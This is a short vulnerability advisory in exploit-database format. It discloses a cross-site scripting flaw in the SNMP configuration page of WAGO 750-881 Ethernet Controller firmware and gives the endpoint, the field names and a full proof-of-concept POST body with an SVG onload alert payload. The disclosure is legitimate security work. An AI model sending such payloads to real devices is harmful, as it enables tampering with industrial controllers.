WAGO 750-881 01.09.18 Cross Site Scripting

2018.10.11
Credit: SecuNinja
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: WAGO 750-881 01.09.18 - Cross-Site Scripting # Date: 2018-08-30 # Exploit Author: SecuNinja (@secuninja) # Vendor Homepage: wago.com # Version: 01.09.18(13) and earlier # Affected Products: Ethernet Controller 750-881 - 01.09.18(13), 01.08.01 (10) # CVE : N/A # Description # WAGO 750-881 Ethernet Controller devices, versions 01.09.18(13) and before, # have XSS in the SNMP configuration via the webserv/cplcfg/snmp.ssi # SNMP_DESC or SNMP_LOC_SNMP_CONT field. # PoC # http://ip.address/webserv/cplcfg/snmp.ssi FORM fields SNMP_DESC, SNMP_LOC_SNMP_CONT # Exploit String "<svg/onload=alert(1)> # http-post-data: SNMP_DESC=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E&SNMP_LOC%22%3E%3Csvg%2Fonload%3Dalert%282%29%3E&SNMP_CONT=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&SNMP_V1V2_ENABLE=SNMP_V1V2_ENABLE&SNMP1_LCOM_NAME=public&SNMP_TR_V1V2_1_IP=0.0.0.0&SNMP1_COM_NAME=public&SNMP_V1V2_TR1_VERSION=SNMP_V1V2_TR1_VERSION1&SNMP_TR_V1V2_2_IP=0.0.0.0&SNMP2_COM_NAME=public&SNMP_V1V2_TR2_VERSION=SNMP_V1V2_TR2_VERSION1&SUBMIT=SUBMIT


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